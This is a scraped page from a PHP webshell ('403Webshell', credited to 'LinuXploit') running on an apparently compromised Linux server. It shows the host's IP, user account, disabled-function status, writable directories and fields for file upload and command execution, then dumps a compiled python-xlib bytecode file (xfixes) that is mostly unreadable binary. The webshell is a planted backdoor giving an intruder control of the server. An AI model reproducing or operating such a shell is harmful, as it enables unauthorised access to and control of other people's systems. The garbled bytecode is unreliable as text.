403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/Xlib/ext/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/Xlib/ext/__pycache__/xfixes.cpython-311.pyc
�

J9�c1����dZddlmZdZdZdZdZdZdZdZ	dZ
dZdZdZ
Gd�dej��Zd	�ZGd
�dej��Zd�ZGd
�dej��Zd�ZGd�dej��Zd�ZGd�dej��ZGd�de��ZGd�de��ZGd�de��ZGd�dej��Zd�ZGd�dej��Zd �Z Gd!�d"ej��Z!d#�Z"d$S)%z�
A partial implementation of the XFIXES extension.  Only the HideCursor and
ShowCursor requests and SelectionNotify events are provided.
�)�rq�XFIXES���c��eZdZejejd��ejd��ej��ejd��ejd����Z	ejej
��ejd��ejd��ej
��ejd��ejd��ejd����ZdS)	�QueryVersion�opcoder�
major_version�
minor_versionr�sequence_number�N)�__name__�
__module__�__qualname__r�Struct�Card8�Opcode�
RequestLength�Card32�_request�	ReplyCode�Pad�Card16�ReplyLength�_reply���1/usr/lib/python3/dist-packages/Xlib/ext/xfixes.pyr	r	-s��������r�y����(�+�+�"���1���)��)�+�+�"���?�3�3�"���?�3�3�	��H��R�Y�|�r�|�~�~��r�v�a�y�y� �r�y�!2�3�3�%�r�~�'�'� �r�y��1�1� �r�y��1�1��r�v�b�z�z�
��F�F�Frr	c�l�t|j|j�t��dd���S)Nrr)�displayr
rr)r	r!�get_extension_major�extname��selfs r�
query_versionr&>s6�����#�|�?�?��H�H�&'�&'�)�)�)�)rc��eZdZejejd��ejd��ej��ejd����Z	dS)�
HideCursorr
��windowN�
rrrrrrrr�Windowrrrrr(r(E�Y�������r�y����(�+�+�"���2���)��)�+�+�"���8�,�,���H�H�Hrr(c�n�t|j|j�t��|���dS�N)r!r
r*)r(r!r"r#r$s r�hide_cursorr0L�=���t�|��l�6�6�w�?�?�������rc��eZdZejejd��ejd��ej��ejd����Z	dS)�
ShowCursorr
�r*Nr+rrrr3r3Rr-rr3c�n�t|j|j�t��|���dSr/)r3r!r"r#r$s r�show_cursorr6Zr1rc
���eZdZejejd��ejd��ej��ejd��ej	d��ej	d����Z
dS)�SelectSelectionInputr
rr*�	selection�maskN�rrrrrrrrr,rrrrrr8r8_sw�������r�y����(�+�+�"���1���)��)�+�+�"���8�,�,�"���;�/�/�"���6�*�*���H�H�Hrr8c�n�t|j�t��|j|||���S)N)r
r!r*r9r:)r8r!r"r#)r%r*r9r:s    r�select_selection_inputr=hs9���t�|�'G�'G��'P�'P�(,��'-�*3�%)�	+�+�+�+rc
�>�eZdZdZejejd��ejd��ejd��ejd��ejd��ej	d��ej	d��ej	d	��ej
d
���	�	ZdS)�SelectionNotifyN�type�sub_coder
r*�ownerr9�	timestamp�selection_timestamp�)rrr�_coderrrrr,rr�_fieldsrrrr?r?ps��������E��b�i�����(�(� ����,�,�!��	�"3�4�4�!��	�(�+�+�!��	�'�*�*�!��	�+�.�.�!��	�+�.�.�!��	�"7�8�8����q�	�	�#�#�G�G�Grr?c��eZdZdS)�SetSelectionOwnerNotifyN�rrrrrrrIrI}��������DrrIc��eZdZdS)�SelectionWindowDestroyNotifyNrJrrrrMrM�rKrrMc��eZdZdS)�SelectionClientCloseNotifyNrJrrrrOrO�rKrrOc	��eZdZejejd��ejd��ej��ejd��ej	d����Z
dS)�SelectCursorInputr
�r*r:Nr;rrrrQrQ�sh�������r�y����(�+�+�"���1���)��)�+�+�"���8�,�,�"���6�*�*�	��H�H�HrrQc�n�t|j�t��|j|d|���S)Nr)r
r!r*�
cursor_serialr:)rQr!r"r#)r%r*r:s   r�select_cursor_inputrU�s9���D�L�$D�$D�W�$M�$M�%)�\�$*�+,�"&�	(�(�(�(rc�0�eZdZejejd��ejd��ej����Zejej	��ej
d��ejd��ej��ej
d��ej
d��ejd��ejd��ejd	��ejd
��ejd��ej
d��ejd
ej���
�
ZdS)�GetCursorImager
rrr
�x�y�width�height�xhot�yhotrTrE�cursor_imageN)rrrrrrrrrrrrr�Int16r�ListrrrrrWrW�s�������r�y����(�+�+�"���1���)��)�+�+���H��R�Y�|�r�|�~�~��r�v�a�y�y� �r�y�!2�3�3�%�r�~�'�'��r�x��}�}��r�x��}�}� �r�y��)�)� �r�y��*�*� �r�y��(�(� �r�y��(�(� �r�y��1�1��r�v�a�y�y��r�w�~�r�y�9�9�
�
�F�F�FrrWc�h�t|j�t��|j���S)N)r
r!)rWr!r"r#)r%r*s  r�get_cursor_imagerb�s0�����!A�!A�'�!J�!J�"&�,����rc
���eZdZdZejejd��ejd��ejd��ejd��ej	d��ej	d����Z
dS)�DisplayCursorNotifyNr@rAr
r*rTrC)rrrrFrrrrr,rrGrrrrdrd�s��������E��b�i�����(�(� ����,�,�!��	�"3�4�4�!��	�(�+�+�!��	�/�2�2�!��	�+�.�.�0�0�G�G�Grrdc���|�ddt��|�ddt��|�ddt��|�ddt��|�ddt
��|�ddt��|�|jtztt��|�|jtztt��|�|jtztt��|�|jt zt"t$��dS)	Nr!�xfixes_select_selection_input�xfixes_query_versionr*�xfixes_hide_cursor�xfixes_show_cursor�xfixes_select_cursor_input�xfixes_get_cursor_image)�extension_add_methodr=r&r0r6rUrb�extension_add_subevent�first_event�XFixesSelectionNotify�XFixesSetSelectionOwnerNotifyrI�"XFixesSelectionWindowDestroyNotifyrM� XFixesSelectionClientCloseNotifyrO�XFixesCursorNotify�XFixesDisplayCursorNotifyrd)�disp�infos  r�initrw�sT�����i�)H�J`�a�a�a����i�)?��O�O�O����h�(<�k�J�J�J����h�(<�k�J�J�J����i�)E�GZ�[�[�[����i�)B�DT�U�U�U����� 0�3H� H�Jg�jA�B�B�B����� 0�3H� H�Jl�oK�L�L�L����� 0�3H� H�Jj�mG�H�H�H����� 0�3E� E�G`�bu�v�v�v�v�vrN)#�__doc__�
Xlib.protocolrr#rors�!XFixesSetSelectionOwnerNotifyMask�&XFixesSelectionWindowDestroyNotifyMask�$XFixesSelectionClientCloseNotifyMask�XFixesDisplayCursorNotifyMaskrprqrrrt�ReplyRequestr	r&�Requestr(r0r3r6r8r=�Eventr?rIrMrOrQrUrWrbrdrwrrr�<module>r�s���.��
������
��*+��*+��+1�!�+1�&�+1�$�+1��*+��*+�"�*+� �*+�������2�?����")�)�)���������������������������
�����2�:����+�+�+�
#�
#�
#�
#�
#�b�h�
#�
#�
#�	�	�	�	�	�o�	�	�	�	�	�	�	�	�?�	�	�	�	�	�	�	�	��	�	�	�������
����(�(�(������R�_����(���0�0�0�0�0�"�(�0�0�0�w�w�w�w�wr

Youez - 2016 - github.com/yon3zu
LinuXploit